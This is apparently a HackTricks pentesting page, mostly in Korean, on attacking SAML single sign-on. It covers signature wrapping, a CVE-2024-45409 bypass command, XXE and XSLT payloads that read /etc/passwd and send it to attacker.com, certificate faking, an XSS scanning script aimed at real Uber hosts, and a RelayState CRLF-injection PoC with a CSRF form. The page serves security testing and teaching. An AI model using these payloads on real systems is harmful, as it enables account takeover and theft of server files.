SAML Attacks

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

SAML Basics

도구

SAMLExtractor: URL 또는 URL 목록을 받아 SAML consume URL을 출력하는 도구.

XML 라운드 트립

XML에서는 서명된 XML 부분이 메모리에 저장된 다음, 일부 인코딩/디코딩이 수행되고 서명이 검사됩니다. 이상적으로는 그 인코딩/디코딩이 데이터를 변경하지 않아야 하지만, 이러한 과정에서는 검사되는 데이터와 원본 데이터가 같지 않을 수 있습니다.

예를 들어, 다음 코드를 확인하세요:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

REXML 3.2.4 또는 이전 버전에서 프로그램을 실행하면 대신 다음과 같은 출력이 나타납니다:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

And this is how it saw it after a round of parsing and serialization:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: signature validation and function invocation. These attacks involve altering the XML document structure. Specifically, the attacker injects forged elements that do not compromise the XML Signature’s validity. This manipulation aims to create a discrepancy between the elements analyzed by the application logic and those checked by the signature verification module. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the fraudulent elements. Consequently, the attacker effectively bypasses the XML Signature’s integrity protection and origin authentication, enabling the injection of arbitrary content without detection.

The following attacks ara based on this blog post and this paper. So check those for further details.

XSW #1

  • 전략: 서명을 포함한 새로운 루트 요소가 추가됩니다.
  • 영향: 검증기가 정당한 “Response -> Assertion -> Subject“와 공격자가 만든 “evil new Response -> Assertion -> Subject“를 혼동할 수 있어 데이터 무결성 문제가 발생할 수 있습니다.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • XSW #1과의 차이: enveloping 서명이 아닌 detached 서명을 사용합니다.
  • 영향: XSW #1과 유사한 “evil” 구조가 무결성 검사 이후 비즈니스 로직을 속이기 위해 사용됩니다.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • 전략: 원래 Assertion과 동일한 계층 수준에 악의적인 Assertion을 생성합니다.
  • 영향: 비즈니스 로직이 악의적인 데이터를 사용하도록 혼동시키려는 목적입니다.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • XSW #3과의 차이: 원래 Assertion이 복제된(악의적) Assertion의 하위 요소가 됩니다.
  • 영향: XSW #3과 유사하지만 XML 구조를 더 공격적으로 변경합니다.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • 고유한 측면: Signature도 원래 Assertion도 표준 구성(enveloped/enveloping/detached)에 따르지 않습니다.
  • 영향: 복제된 Assertion이 Signature를 감싸 문서 구조를 변경합니다.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • 전략: XSW #4 및 #5와 유사한 위치에 삽입하지만 변형이 있습니다.
  • 영향: 복제된 Assertion이 Signature를 감싸고, 그 Signature가 원래 Assertion을 감싸는 중첩된 속임수 구조를 만듭니다.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • 전략: Extensions 요소를 삽입하고 그 하위에 복제된 Assertion을 위치시킵니다.
  • 영향: Extensions 요소의 덜 제한적인 스키마를 악용하여 특히 OpenSAML 같은 라이브러리에서 스키마 검증 우회에 사용됩니다.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • XSW #7과의 차이: 또 다른 덜 제한적인 XML 요소를 사용한 변형입니다.
  • 영향: 원래 Assertion이 덜 제한적인 요소의 하위 요소가 되어 XSW #7에서 사용된 구조를 뒤집습니다.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

도구

You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.

Ruby-SAML signature verification bypass (CVE-2024-45409)

영향: Service Provider가 취약한 Ruby-SAML(예: GitLab SAML SSO)을 사용하는 경우, 공격자는 any IdP-signed SAMLResponse를 획득하면 새 Assertion을 위조하여 임의의 사용자로 인증할 수 있습니다.

고수준 워크플로우 (signature-wrapping style bypass):

  1. SSO POST에서 legitimate SAMLResponse를 캡처합니다(Burp 또는 브라우저 개발자 도구). 대상 SP에 대해 IdP가 서명한 아무 응답이나 필요합니다.
  2. 전송 인코딩을 원시 XML로 디코드합니다(일반적인 순서): URL decode → Base64 decode → raw inflate.
  3. PoC(예: Synacktiv 스크립트)를 사용하여 IDs/NameID/conditions를 패치하고 signature references/digests를 재작성하여 검증은 통과하되 SP가 공격자가 제어한 assertion 필드를 소비하게 만듭니다.
  4. 패치된 XML을 재인코딩(raw deflate → Base64 → URL encode)하고 SAML callback endpoint에 재전송합니다. 성공하면 SP는 선택한 사용자로 로그인을 허용합니다.

Example using the Synacktiv PoC (input is the captured SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

어떤 형태의 공격이 XXE인지 잘 모르면 다음 페이지를 읽어보세요:

XXE - XEE - XML External Entity

SAML Responses는 deflated and base64 encoded XML documents이며 XML External Entity (XXE) attacks에 취약할 수 있습니다. SAML Response의 XML 구조를 조작하여 공격자가 XXE 취약점을 악용하려 시도할 수 있습니다. 다음은 이러한 공격을 시각화한 예입니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

도구

가능한 XXE 취약성과 SAML 취약성을 테스트하기 위해 SAML 요청에서 POC를 생성하려면 Burp 확장 SAML Raider를 사용할 수도 있습니다.

다음 발표도 확인하세요: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAML을 통한 XSLT

XSLT에 대한 자세한 정보는 다음을 참조하세요:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT)는 XML 문서를 HTML, JSON 또는 PDF와 같은 다양한 형식으로 변환하는 데 사용할 수 있습니다. XSLT 변환은 디지털 서명 검증 전에 수행된다는 점을 반드시 유의하세요. 이는 유효한 서명이 없어도 공격이 성공할 수 있음을 의미합니다. 자체 서명되었거나 잘못된 서명으로도 진행이 가능합니다.

여기에서 이러한 유형의 취약성을 확인하기 위한 POC를 찾을 수 있으며, 이 섹션 시작 부분에서 언급한 hacktricks 페이지에서 payloads를 확인할 수 있습니다.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

도구

You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.

Check also this talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, signature validation may not occur, making it vulnerable. It’s possibel to test this by altering the contents that are usually verified by the signature.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

도구

You can also use the Burp extension SAML Raider. Intercept the SAML Response and click Remove Signatures. In doing so all Signature elements are removed.

With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking is a technique to test if a Service Provider (SP) properly verifies that a SAML Message is signed by a trusted Identity Provider (IdP). It involves using a *self-signed certificate to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.

Certificate Faking 수행 방법

The following steps outline the process using the SAML Raider Burp extension:

  1. Intercept the SAML Response.
  2. If the response contains a signature, send the certificate to SAML Raider Certs using the Send Certificate to SAML Raider Certs button.
  3. In the SAML Raider Certificates tab, select the imported certificate and click Save and Self-Sign to create a self-signed clone of the original certificate.
  4. Go back to the intercepted request in Burp’s Proxy. Select the new self-signed certificate from the XML Signature dropdown.
  5. Remove any existing signatures with the Remove Signatures button.
  6. Sign the message or assertion with the new certificate using the (Re-)Sign Message or (Re-)Sign Assertion button, as appropriate.
  7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion and Service Provider Target Confusion involve checking whether the Service Provider correctly validates the intended recipient of a response. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the Recipient field, found within the SubjectConfirmationData element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.

작동 원리

For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit.

The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

로그아웃 기능의 XSS

원본 연구는 this link에서 확인할 수 있습니다.

directory brute forcing 과정에서 다음 위치에서 로그아웃 페이지가 발견되었습니다:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

이 링크에 접속했을 때, 다음으로 리디렉션되었습니다:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

이로 인해 base 매개변수가 URL을 허용한다는 것이 드러났다. 이를 고려하여 URL을 javascript:alert(123);로 대체해 XSS (Cross-Site Scripting) 공격을 시도하는 아이디어가 떠올랐다.

대규모 악용

From this research:

The SAMLExtractor tool was used to analyze subdomains of uberinternal.com for domains utilizing the same library. Subsequently, a script was developed to target the oidauth/prompt page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it’s reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

일부 SAML SSO 엔드포인트는 RelayState를 디코드한 뒤 적절한 정화 없이 응답에 반영합니다. 새 줄을 주입하고 응답의 Content-Type을 덮어쓸 수 있다면, 브라우저가 공격자가 제어하는 HTML을 렌더링하도록 강제해 reflected XSS를 일으킬 수 있습니다.

  • Idea: reflected RelayState에서의 newline injection을 이용한 response-splitting 남용. 자세한 내용은 CRLF injection을 참조하세요.
  • Works even when RelayState is base64-decoded server-side: header/body injection으로 디코딩되는 base64를 제공하면 동작합니다.

Generalized steps:

  1. newline로 시작하는 header/body injection 시퀀스를 구성하여 content type을 HTML로 덮어쓰고, 그 다음 HTML/JS 페이로드를 주입합니다:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. 시퀀스를 URL-encode합니다(예):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. 그 URL-encoded 문자열을 base64-encode하고 RelayState에 넣습니다.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. 문법적으로 유효한 SAMLResponse와 조작한 RelayState를 포함한 POST를 SSO 엔드포인트(예: /cgi/logout)로 전송합니다.
  2. CSRF로 전달: 두 필드를 포함한 cross-origin POST를 자동 제출하는 페이지를 호스트합니다.

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF 전달 패턴:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

작동 원리: 서버가 RelayState를 디코딩하여 newline injection을 허용하는 방식으로 응답에 포함시키므로, attacker가 headers와 body에 영향을 줄 수 있습니다. Content-Type: text/html을 강제하면 브라우저가 response body에 있는 attacker-controlled HTML을 렌더링합니다.

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기